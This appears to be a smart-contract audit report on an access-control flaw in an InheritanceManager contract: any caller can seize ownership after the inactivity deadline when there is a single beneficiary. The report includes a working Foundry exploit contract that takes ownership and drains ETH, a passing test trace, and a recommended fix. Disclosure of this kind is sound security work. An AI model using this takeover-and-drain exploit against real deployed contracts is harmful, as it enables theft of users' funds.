Summary
The InheritanceManager
contract contains a critical vulnerability that allows any user to become the owner of the contract when there's exactly one beneficiary and the inactivity period (90 days) has elapsed. This bypasses the intended inheritance model and provides complete control over all funds and assets to the attacker.
Vulnerability Details
The vulnerability exists in the inherit()
function which fails to verify that the caller is a legitimate beneficiary:
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
When beneficiaries.length == 1
, the function blindly assigns ownership to msg.sender
without verifying that the caller is the appointed beneficiary. This allows any address to claim ownership of the contract once the inactivity period has passed.
An attacker can monitor the blockchain for contracts with exactly one beneficiary, wait for the 90-day inactivity period, and then call inherit()
to take ownership.
PoC
pragma solidity 0.8.26;
import "forge-std/Test.sol";
import "../src/InheritanceManager.sol";
import "../src/modules/Trustee.sol";
import "../src/NFTFactory.sol";
contract InheritanceExploiter {
InheritanceManager public target;
constructor(address payable _target) {
target = InheritanceManager(_target);
}
function exploit() external {
require(block.timestamp >= target.getDeadline(), "Deadline not passed");
target.inherit();
require(target.getOwner() == address(this), "Exploit failed");
}
function drainETH() external {
require(target.getOwner() == address(this), "Not owner");
uint256 balance = address(target).balance;
if (balance > 0) {
target.sendETH(balance, address(this));
}
}
receive() external payable {}
}
contract InheritanceManagerExploitPoC is Test {
InheritanceManager inheritanceManager;
InheritanceExploiter exploiter;
address owner = address(0x1);
address beneficiary = address(0x2);
address attacker = address(0x3);
function setUp() public {
vm.startPrank(owner);
inheritanceManager = new InheritanceManager();
inheritanceManager.addBeneficiery(beneficiary);
vm.deal(address(inheritanceManager), 10 ether);
vm.stopPrank();
vm.startPrank(attacker);
exploiter = new InheritanceExploiter(payable(address(inheritanceManager)));
vm.stopPrank();
}
function testExploit() public {
assertEq(inheritanceManager.getOwner(), owner);
assertEq(address(inheritanceManager).balance, 10 ether);
vm.warp(block.timestamp + 91 days);
vm.startPrank(attacker);
exploiter.exploit();
assertEq(inheritanceManager.getOwner(), address(exploiter));
exploiter.drainETH();
vm.stopPrank();
assertEq(address(inheritanceManager).balance, 0);
assertEq(address(exploiter).balance, 10 ether);
}
}
PoC Result:
forge test --match-test testExploit -vvvv
[⠰] Compiling...
No files changed, compilation skipped
Ran 1 test for test/InheritanceManagerExploitPoC.t.sol:InheritanceManagerExploitPoC
[PASS] testExploit() (gas: 54165)
Traces:
[54165] InheritanceManagerExploitPoC::testExploit()
├─ [2604] InheritanceManager::getOwner() [staticcall]
│ └─ ← [Return] ECRecover: [0x0000000000000000000000000000000000000001]
├─ [0] VM::assertEq(ECRecover: [0x0000000000000000000000000000000000000001], ECRecover: [0x0000000000000000000000000000000000000001]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::warp(7862401 [7.862e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ └─ ← [Return]
├─ [15674] InheritanceExploiter::exploit()
│ ├─ [2455] InheritanceManager::getDeadline() [staticcall]
│ │ └─ ← [Return] 7776001 [7.776e6]
│ ├─ [8677] InheritanceManager::inherit()
│ │ └─ ← [Stop]
│ ├─ [604] InheritanceManager::getOwner() [staticcall]
│ │ └─ ← [Return] InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D]
│ └─ ← [Stop]
├─ [604] InheritanceManager::getOwner() [staticcall]
│ └─ ← [Return] InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D]
├─ [0] VM::assertEq(InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D], InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D]) [staticcall]
│ └─ ← [Return]
├─ [11165] InheritanceExploiter::drainETH()
│ ├─ [604] InheritanceManager::getOwner() [staticcall]
│ │ └─ ← [Return] InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D]
│ ├─ [8644] InheritanceManager::sendETH(10000000000000000000 [1e19], InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D])
│ │ ├─ [55] InheritanceExploiter::receive{value: 10000000000000000000}()
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 456.02µs (66.41µs CPU time)
Ran 1 test suite in 4.38ms (456.02µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Complete loss of funds and assets. The attacker gains full control of:
All ETH in the contract via sendETH()
All ERC20 tokens via sendERC20()
All NFTs and managed assets
Ability to change beneficiaries
The attack is simple to execute, requiring just a single transaction after the deadline has passed. No special conditions or complex sequences are needed.
Tools Used
Manual code review
Foundry
Recommendations
Add proper access control to the inherit()
function by verifying that the caller is an authorized beneficiary:
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
bool isBeneficiary = false;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
if (!isBeneficiary) revert NotBeneficiary();
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}